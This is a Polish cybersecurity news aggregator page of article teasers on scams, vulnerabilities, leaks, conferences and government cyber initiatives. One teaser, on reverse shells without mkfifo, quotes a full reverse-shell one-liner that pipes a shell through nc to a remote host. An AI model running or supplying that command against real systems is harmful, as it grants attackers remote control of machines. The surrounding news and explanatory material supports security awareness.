Serwisy SEC

Dyrektor NASK: Istotne są motywacje atakujących

1 rok temu W czasie [konferencji Secure2024](https://secure.edu.pl/#agenda) dyrektor NASK dr inż. Radosław Nielek przypomniał, iż „Polska była w awangardzie i znalazła się wśród tych, którzy ten problem dostrzegają i rozumieją”.

Płatny Google Chrome?

1 rok temu Google Chrome króluje jako najpopularniejsza przeglądarka internetowa, chwalona za łatwość obsługi i obszerną bibliotekę rozszerzeń. Podczas gdy Chrome stawia na bezpieczeństwo dzięki wbudowanym funkcjom, zaawansowane zagrożenia wymagają dodatkowej o...

Polska firma Tenesys dzięki partnerstwu z OVHcloud...

1 rok temu Stworzona w Polsce firma Tenesys przeprowadziła migrację i modernizację infrastruktury Grupy Bonnier. Usunęła przestarzałe systemy, poprawiając wydajność, stabilność i skalowalność. Dzięki partnerstwu z OVHcloud, Tenesys zwiększyła elastyczność i efe...

⚠️ Uwaga na fałszywe oferty Kart Miejskich

1 rok temu Otrzymujemy od Was informacje o atrakcyjnych, ale fałszywych ofertach sprzedaży Kart Miejskich/Aglomeracyjnych z wielu miast. Chodzi o te karty, które pozwalają podróżować komunikacją miejską np. we Wrocławiu (“Urbancard”) czy Trójmiaście (“Fala”). Z...

Jak wysłać wrażliwe dane, aby nie wpadły w niepowo...

1 rok temu Informacje o naszym stanie zdrowia, finansach, wyjazdach, czy życiu rodzinnym nieustannie krążą w sieci. W jaki sposób przekazywać najwrażliwsze dane, aby nie wpadły w ręce cyberprzestępców?

Powstanie zintegrowane centrum cyberbezpieczeństwa...

1 rok temu Już niedługo powstanie zintegrowane centrum cyberbezpieczeństwa dla wojskowych, aby wszystkie służby wiedziały, co się dzieje w cyberprzestrzeni pod kątem zagrożeń - ogłosił Cezary Tomczyk, sekretarz stanu w Ministerstwie Obrony w czasie konferencji ...

Nowa tożsamość projektowania. Nowe podejście Samsu...

1 rok temu Samsung Electronics opracowuje nowe produkty i wprowadza je na rynek, pamiętając o tym, by łączyć design z oczekiwaniami klientów. Nowe podejście firmy na 2030 rok zakłada, iż technologia musi być nie tylko innowacyjna, ale też niezbędna i współgrać ...

Jak przedłużyć żywotność baterii telefona?

1 rok temu Czy istnieją sprawdzone sposoby na przedłużenie żywotności baterii, dzięki którym Twój telefon będzie działał efektywniej przez dłuższy czas? Jakie ustawienia telefonu należy optymalizować, aby oszczędzać energię? Jak zarządzać aplikacjami działający...

Znasz numer 8080? Za kilka dni otrzyma funkcję rat...

1 rok temu Okazuje się, iż numer 8080 za kilka dni zyska ciekawą funkcjonalność. Zadowolone będą przede wszystkim osoby ceniące bezpieczeństwo.

⚠️ Uwaga na SMS-y dotyczące “długów”

1 rok temu Od rana na polskie numery telefonów spływają SMS-y, które zwracają się do Was po imieniu i nazwisku, a następnie informują o ryzyku wpisania Was na listę dłużników i zachęcają Polaków do pobrania raportu. Odradzamy przechodzenie na stronę “BazaWindyk...

Zdalne wykonanie kodu (RCE) w kliencie Telegram dl...

1 rok temu Od kilku dni krążyły pogłoski o rzekomym ataku RCE (Remote Code Execution) w kliencie komunikatora Telegrama dla komputerów z Windows. Okazały się prawdziwe, mimo pierwotnych zaprzeczeń ze strony twórców Telegrama. Przyczyną błędu była literówka w ko...

TeleOdpowiedzialny Roku 2023. Pomagają społecznie,...

1 rok temu Firmy zostały nagrodzone za prowadzenie działań w ramach tzw. społecznej odpowiedzialności biznesu. „Wspieramy innowacyjność i wzmacnianie relacji z interesariuszami operatorów, promujemy ograniczanie negatywnego wpływu działalności przedsiębiorstw n...

#CyberMagazyn: Trening cyberbezpieczeństwa skrojon...

1 rok temu Zapewnienie **zaawansowanej ochrony systemów oraz wypracowanie solidnej strategii [cyberbezpieczeństwa**](https://cyberdefence24.pl/cyberbezpieczenstwo/cybermagazyn-zdrowie-psychiczne-wyzwania-w-pracy-w-cyberbezpieczenstwie) są w tej chwili najważnie...

Reverse shell bez mkfifo

1 rok temu J eśli kiedykolwiek próbowaliśmy stworzyć reverse shell, czy to dzięki telnet, czy OpenSSL – prawdopodobnie miały one wspólny układ: mkfifo /tmp/f; nc 1.2.3.4 31337 </tmp/f | sh >/tmp/f; rm /tmp/f Na początku tworzony jest nazwany potok FIFO za...

15 000 razy pobrano fałszywy pakiet Pythona

1 rok temu Pakiety generowane przez sztuczną inteligencję mogą być w rzeczywistości złośliwym oprogramowaniem. Sfabrykowany huggingface-cli dla Pythona pobrano aż 15 000 razy.Pusty pakiet został pobrany 15 000 razy, bo AI zmyśliło taką nazwę i uporczywie podpow...

Błąd Facebooka. Sam rozsyłał zaproszenia

1 rok temu Od 16 lutego do 24 marca Facebook sam wysyłał zaproszenia. [Meta](https://cyberdefence24.pl/biznes-i-finanse/trzesienie-ziemi-w-mecie-firma-traci-istotnego-eksperta) zaleca przejrzenie dziennika aktywności i sprawdzenie, czy padliśmy ofiarą tego błęd...

Jak powinniśmy rozumieć bezpieczeństwo aplikacji k...

1 rok temu Każda organizacja opracowująca czy wdrażająca aplikacje w swoim środowisku musi posiadać mechanizmy kontroli ich bezpieczeństwa. Jednakże przedsiębiorstwa stoją przed pewnymi...

Jak adekwatnie rozmieścić kamery wokół domu?

1 rok temu Jakie są podstawowe kroki do zapewnienia optymalnego bezpieczeństwa domu poprzez rozmieszczenie kamer? Co należy wziąć pod uwagę, decydując o lokalizacji kamer? Jakie są najlepsze praktyki, aby zminimalizować martwe pola i zapewnić wysoką jakość obra...

Aplikacja mObywatel wprowadza ePłatności

1 rok temu Koleje nowości w aplikacji mObywatel. Tym razem uruchomiono opcję ePłatności. Dzięki tej funkcji można opłacić na przykład podatki. Uwaga, nowe możliwość nie jest jednak dostępna dla wszystkich!

Powstanie nowy zespół CSIRT. Obejmie istotny sekto...

1 rok temu Ministerstwo Cyfryzacji w czwartek 11 kwietnia **[opublikowało Raport Pełnomocnika Rządu](https://cyberdefence24.pl/cyberbezpieczenstwo/polska-bedzie-bezpieczniejsza-gawkowski-o-planach-rzadu) ds. Cyberbezpieczeństwa za 2023 rok**. Z wypowiedzi wicep...

Administracja serwerami — zalety modelu outsourcin...

1 rok temu Administracja serwerami – zalety modelu outsourcingowego Outsourcing administracji serwerami oferuje firmom elastyczność, umożliwiając im skoncentrowanie się na kluczowych aspektach ich...

18 sesja linuksowa

programistamag.pl 1 rok temu Sesja linuksowa to największa w Polsce darmowa konferencja poświęcona rozwiązaniom Open Source oraz najnowszym trendom w systemach rodziny GNU/Linux organizowana przez studentów z Akademickiego Stowarzyszenia Informatycznego (https://www.facebook.com...

Nie zaszyfrowali systemu, za to wykradli dane. Kol...

1 rok temu Doniesienia o [atakach hakerskich](https://cyberdefence24.pl/cyberbezpieczenstwo/ataki-hakerskie-jaka-jest-swiadomosc-polakow) w krajach anglojęzycznych **są w ostatnim czasie dość częste**. Jednak takich przypadków mówiących o _jedynie częściowym su...

Europejskie firmy krytykują złagodzone zasady prze...

1 rok temu Deutsche Telekom, Orange, Airbus i 15 innych europejskich firm skrytykowało najnowszy projekt unijnego systemu certyfikacji cyberbezpieczeństwa (CCS), który ich zdaniem ułatwi hiperskalerom ubieganie się o unijne kontrakty na przetwarzanie w chmurze....

SECURE 2024. Nowa zimna wojna, bezpieczna AI, szan...

1 rok temu **Patronat medialny**

14 lat temu udostępnił w sieci tajne dokumenty USA...

1 rok temu Joe Biden ogłosił, iż rozważa prośbę Australii o porzucenie długotrwałych, amerykańskich wysiłków na rzecz ścigania Juliana Assange’a, założyciela WikiLeaks. Assange przed laty ujawnił w sieci liczne, poufne informacje pochodzące z rządowych dokument...

Wyciek w Microsoft. Wpadka giganta

1 rok temu [TechCrunch](https://techcrunch.com/2024/04/09/microsoft-employees-exposed-internal-passwords-security-lapse/) we wtorek poinformował, iż **wrażliwe dane Microsoftu były do pobrania w internecie.** Co najgorsze, zasób, z którego pobierano dane **był ...

Jak hakerzy ze wschodu przed wyborami ekrany w cen...

1 rok temu Nasi wschodni sąsiedzi od dawna próbują wywierać wpływ na polską politykę dzięki kampanii dezinformacyjnych. Znamy zhakowane konta w mediach społecznościowych czy skrzynki pocztowe polityków, ale zhakowane ekrany w centrum handlowym to coś nowego. Ki...

Akcja pirotechników SG na lotnisku Warszawa-Modlin...

1 rok temu W dniu 10 kwietnia 2024 roku funkcjonariusze z Interwencyjnego Zespołu Minersko – Pirotechnicznego Placówki Straży Granicznej Warszawa-Modlin otrzymali informację o porzuconej na antresoli terminala reklamówce z niewidoczną zawartością. Po sprawdzeni...

Check Point: „28% wzrost cyberataków na świecie” r...

1 rok temu 28-procentowy wzrost ataków oraz koncentracja cyberprzestępców na nauce i badaniach oraz sektorze administracyjno-wojskowym – tak wyglądał pierwszy kwartał 2024 roku w cyberprzestrzeni według ekspertów Check Point Research. Firma ostrzega przed szerz...

Pierwsza wersja „Global Digital Compact” opublikow...

1 rok temu „Naszym celem jest włączająca, otwarta, bezpieczna i chroniona przyszłość cyfrowa dla wszystkich” – czytamy w ogólnoświatowym porozumieniu cyfrowym Global Digital Compact (GDC), które opublikowało Biuro Pełnomocnika ds. Technologii ONZ.

UWAGA! CISA wydaje zalecenia w celu minimalizacji ...

1 rok temu Taktyka oraz narzędzia Living Off the Land (LOtL) cieszą się coraz większym zainteresowaniem wśród cyberprzestępców, w tym podmiotów sponsorowanych przez...

CEECloud Services Distribution (Grupa Bakotech) og...

1 rok temu Na początku kwietnia CEEcloud, spółka należąca do Grupy Bakotech, ogłosiła podpisanie kontraktu z firmą Kaseya – od wielu lat uznawaną za lidera w obszarze kompleksowych rozwiązań IT. To kolejny, bardzo istotny krok dla dystrybutora, podkreślający je...

Nowe narzędzia AI od Google. Tego jeszcze nie było...

1 rok temu Podczas konferencji Google Cloud Next 2024 w Las Vegas gigant technologiczny przedstawił nowości AI – **zarówno w istniejących już narzędziach, jak i w całkowicie nowych**. Konferencja rozpoczęła się 9 kwietnia i potrwa do czwartku 11 kwietnia.

Mowa nienawiści

1 rok temu Poniższe infografiki dotyczą mowy nienawiści. Poruszą one przede wszystkim tematy:

XV edycja Warszawskich Dni Informatyki. Święto bra...

1 rok temu **Patronat medialny**

Formularz zwrotu – gdzie musisz go zamieścić?

1 rok temu Ogrom dodatkowych obowiązków, które ustawodawca nakłada na e-sklepy może przyprawić niejednego sprzedawcę o ból głowy. Czasem sensowność nowych wymagań może budzić wątpliwości. Ten, o którym mowa poniżej jest bardzo istotny, a większość sprzedawców n...

Google Cloud Days – konferencja o bezpieczeństwie,...

programistamag.pl 1 rok temu Google Cloud Days to charytatywna konferencja budowana na praktycznym podejściu do chmury. Jej organizatorem jest partner Google Cloud – firma FOTC. Przez dwa dni warszawska siedziba Google (Warsaw HUB) stanie się miejscem wymiany myśli – dzielenia s...

Kiedy ostatnio aktualizowaliście wtyczki w WordPre...

1 rok temu Strony tworzone na platformie WordPress są stronami bezpiecznymi. Ale jednak pod warunkiem, iż ich właściciele pamiętają o aktualizacji wtyczek. Badacz cyberbezpieczeństwa, AmrAwad, wykrył niedawno kolejną podatność: krytyczną lukę we wtyczce LayerSl...

Wojsko RP. Kolejne porozumienie DKWOC

1 rok temu **[Dowództwo Komponentu Wojsk Obrony Cyberprzestrzeni](https://www.wojsko-polskie.pl/woc/) (DKWOC), strzegące bezpieczeństwa Polski w sieci, będzie bliżej współpracowało z [Centralnym Ośrodkiem Informatyki](https://www.coi.gov.pl/o-nas)**. Mówimy o w...

Atos poszukuje 600 mln euro w gotówce w ramach pla...

1 rok temu Francuska firma konsultingowa Atos musi zebrać 600 milionów euro (651 milionów dolarów) w gotówce, aby sfinansować swoją działalność w 2024 i 2025 roku, poinformowała we wtorek, przedstawiając swoje plany refinansowania. Gigant technologiczny, który ...

Od pliku PDF do infekcji – złośliwe oprogramowanie...

1 rok temu W styczniu FortiGuard Labs przeanalizowało plik PDF napisany w języku portugalskim, który rozpowszechnia wielofunkcyjne złośliwe oprogramowanie znane jako Byakugan. Podczas...

Dlaczego dzwoni do mnie spam?

1 rok temu Czy zastanawiałeś się kiedykolwiek, dlaczego otrzymujesz niechciane połączenia telefoniczne? Skąd spamerzy mają Twój numer telefonu? Jakie techniki stosują, aby skłonić Cię do odebrania połączenia? I co najważniejsze, jak możesz się przed nimi skutec...

Modele AI wektorem ataku na infrastrukturę AaaS

1 rok temu Niedawno pisaliśmy o tym, jak wykorzystanie niebezpiecznych mechanizmów serializacji może być metodą ataku na developerów. Tym razem przedstawiamy research przeprowadzony przez WIZ, który korzystając z podobnych mechanizmów umożliwia atak na infrastr...

Zmiany w Centralnym Ośrodku Informatyki. Nowa twar...

1 rok temu Postępują zmiany w instytucjach rządowych. Według informacji udostępnionych przez Annę Wittenberg, dziennikarkę z „Dziennika Gazety Prawnej” na portalu X (dawny Twitter), **[Centralny Ośrodek Informatyki](https://cyberdefence24.pl/cyberbezpieczenstwo...

Zapraszamy Was na INSECON!

1 rok temu Kongres INSECON na straży cyberbezpieczeństwa! Dzisiejsze wyzwania związane z cyberbezpieczeństwem wymagają ścisłej uwagi i zaangażowania ze strony organizacji i jednostek. W obliczu dynamicznego rozwoju technologii, cyberprzestępczość staje się cora...

Jak polskie nastolatki używają wycieków danych by ...

1 rok temu O wyciekach danych piszemy w Niebezpieczniku od 15 lat. Informowaliśmy o leakach baz danych pacjentów (i ich historii leczenia), o wyciekach wstydliwych zakupów i potężnych bazach adresów i telefonów pozyskiwanych z setek polskich sklepów internetowy...

Skrót do Map Google zniknął z wyszukiwarki?

1 rok temu Wyszukiwarka Google znów nas zaskakuje! Zniknął znany i lubiany skrót do Map Google. Dlaczego tak się stało? Gdzie można go znaleźć, aby móc korzystać z jednej z najbardziej znanych i lubianych funkcji nawigacji.

Co wydarzyło się w cyberbezpieczeństwie w zeszłym ...

1 rok temu Kiedyś co poniedziałek publikowaliśmy zwięzłe podsumowanie wydarzeń z poprzedniego tygodnia. Zrezygnowaliśmy z tego, bo z założenia sprawdzamy informacje, które prezentujemy,...

Czy rozpoznasz, na którym obrazku ukrył się groźny...

1 rok temu Chyba wszyscy już wiemy, iż niebezpieczne wirusy mogą być przesyłane do nas w mailach, w formie załączników czy linków. Cyberprzestępcy mają jednak także inne metody. Potrafią ukryć złośliwe oprogramowanie w grafikach. Czy da się rozpoznać takie obra...